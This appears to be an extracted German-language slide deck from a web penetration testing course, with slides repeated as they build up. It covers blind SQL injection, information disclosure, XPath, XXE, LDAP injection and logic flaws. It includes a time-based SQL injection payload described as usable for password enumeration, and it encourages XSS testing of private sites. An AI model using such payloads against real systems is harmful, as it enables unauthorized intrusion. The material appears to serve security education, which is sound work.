  221. 221. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren 45
  222. 222. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC 45
  223. 223. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC 45
  224. 224. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt werden 45
  225. 225. Information Disclosure Pentesting 46
  226. 226. Information Disclosure Pentesting» Nach Artifakten suchen 46
  227. 227. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren 46
  228. 228. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation 46
  229. 229. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen 46
  230. 230. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 46
  231. 231. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt! 46
  232. 232. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt!» Typische Files: /admin/, /README etc 46
  233. 233. Andere Vektoren 47
  234. 234. Andere Vektoren» XPATH injections 47
  235. 235. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax 47
  236. 236. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE 47
  237. 237. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections 47
  238. 238. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files 47
  239. 239. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections 47
  240. 240. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws 47
  241. 241. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws » Missing authorization checks 47
  242. 242. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws » Missing authorization checks » /user/edit.php?id=1 for admin editing 47
  243. 243. Hands On» Einfache SQL-Injection» Blind SQL Injection» Hackme „OWasp Casino“ » SQL-Injection » Cross Site Request Forgery » Logischer Fehler 48
  244. 244. Freiwilliger Penetration Test» Nur Suche nach XSS-Lücken» Gerne auch private Seiten 49
  245. 245. Fragen?» 50
  246. 246. Vielen Dank für Ihre Aufmerksamkeit! 51

×